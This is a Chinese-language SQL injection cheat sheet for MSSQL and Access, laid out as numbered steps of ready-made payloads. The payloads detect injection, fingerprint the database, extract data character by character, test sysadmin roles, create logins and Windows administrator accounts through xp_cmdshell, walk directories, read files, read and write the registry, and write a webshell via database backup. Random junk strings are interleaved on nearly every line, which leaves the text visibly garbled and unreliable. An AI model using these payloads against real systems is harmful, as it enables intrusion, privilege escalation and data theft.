1.判断是否有注入;and 1=1 ;and 1=2 1\,wV,
2.初步判断是否是mssql ;and user>0 b WZX
g!;Hv
3.注入参数是字符'and [查询条件] and ''=' >\!>CuU
xF9PjnWF=
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 0.t1p(x;
A832z`
5.判断数据库系统 o{QPW
3D7phq>.q
;and (select count(*) from sysobjects)>0 mssql Riz!HtyR
h5#V,$
;and (select count(*) from msysobjects)>0 access #T)gKp
D8_-Dvp7H
W>7 o
ec
j]_"MMwk$<
6.猜数据库 ;and (select Count(*) from [数据库名])>0 O/Wc@Ln
qg@Wzs7c~
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 VlFDMw.4.+
A|U_$!cLZ
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 #6<9FY#
t[L'}ig!q
9.(1)猜字段的ascii值(access) 3~!PJI1
nM)H2'%kL&
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 BK:S:
.@ElfPP(L
(2)猜字段的ascii值(mssql) H0B"?81
I806I@ix
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 d6k`=Hlg
O8:,XTAN
10.测试权限结构(mssql) rx#\Dc}
[0e}%!%M
aTy&"
.sDVBT'%
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 9m
fYB
.ZrQ{~t
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- '
RjFWHAp
obE_`u l#
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- LJMw-#61sj
x+9aTsZ
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- nNFZ77lg
8W"~>7/>D
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- xCV3HnZ
c.PPVqx
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- z<jWy$Ta;
q<b;xx
;and 1=(select IS_MEMBER('db_owner'));-- 3y?ig2
t$Z#zxX
s3G3_&
}cE,&n
11.添加mssql和系统的帐户 ;o#R(m@Lx
U:E:"
;exec master.dbo.sp_addlogin username;-- >i4UU0m
;exec master.dbo.sp_password null,username,password;-- 56m|gZcC
;Q2p~-0Q
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- $IQ !g
*~|xj,md
;exec master.dbo.xp_cmdshell 'net user username password 6;GL>))'
Px}#{fkS
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 9 frS!AQ
t HPC
;exec master.dbo.xp_cmdshell 'net user username password /add';-- xU^Flw,4
F[c;iM(^
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- EpCUL@+
!\8j[QS!
$_l@k=
g Bq, So
12.(1)遍历目录 xUzSS@ot^
:D ?%!Q 0
;create table dirs(paths varchar(100), id int) Vcl"qz@Fj
Z|
+/Wl-h
;insert dirs exec master.dbo.xp_dirtree 'c:\' V2'(}k
\sF}NBNT@
;and (select top 1 paths from dirs)>0 ?PSm)
~Oa
Vl?R?K=`~J
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) A[!Fg0X0
RIM"MR9qe=
d"nE+pgE
abCcZ<=|b
(2)遍历目录 >)U 7$<&b
][6$$Lz
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- `qSNS->
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 wI}5[m
5 8p_b
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 c:51In|~{C
2,;+)
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 (ZjIwA9>
.7Ys@;>B
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ^,b*.6t
>RBq&'f
us4.-L
?a~=CC@
13.mssql中的存储过程 _ts0@Z_:
U{LDtn%@h6
xp_regenumvalues 注册表根键, 子键 #d*mG =
r['T.yo
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 \%EZg
o]}b#U8S
xp_regread 根键,子键,键值名 4G@vO{$
~5`rv1$
;exec xp_regread l?a(=
+yS"pOT
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 p2!x8`IB*
u-pE
;|
xp_regwrite 根键,子键, 值名, 值类型, 值 /+sn-$/"i
<jw`"L[D
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 t_3)}
E`iT>+LG<
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 9
o-T#~i
'7wI 2D
xp_regdeletevalue 根键,子键,值名 23pHB|X
sryujb.,
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ~{Tus.jk
<3
AkF# C9
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 6VQ*z8wLw
%9-).k
/%Rz`}
0$}+tq+
14.mssql的backup创建webshell A7+eWg{
N~\1yQT
use model _9#4
`8xe2=Ub
create table cmd(str image); WsJ3zZc
~Rk6@&ZS}
insert into cmd(str) values (''); l0tMdsz
Xn$]DE/r}N
backup database model to disk='c:\l.asp';
Cg}cD.
!7AW_l9`i
twNZ^=S Gr
_
97F
15.mssql内置函数 S<88>|&n]
qK.8^{b
;and (select @@version)>0 获得Windows的版本号 {G%`K,T
C%}FVO\c
;and user_name()='dbo' 判断当前系统的连接用户是不是sa U,[vfSDGr
G0CmY43
;and (select user_name())>0 爆当前系统的连接用户 d@7
]=P:
*vCJTz
;and (select db_name())>0 得到当前连接的数据库 R\A5f\L9
iZgv
VH
,hT t]w
O6Xu/X]
16.简洁的webshell IZi1N
_9Iz'-LgB
use model iKLN !QR
1q}iUnR
create table cmd(str image); -XkCbxZ
db@i*Bf
insert into cmd(str) values (''); rzLpVpTaz
r*&gd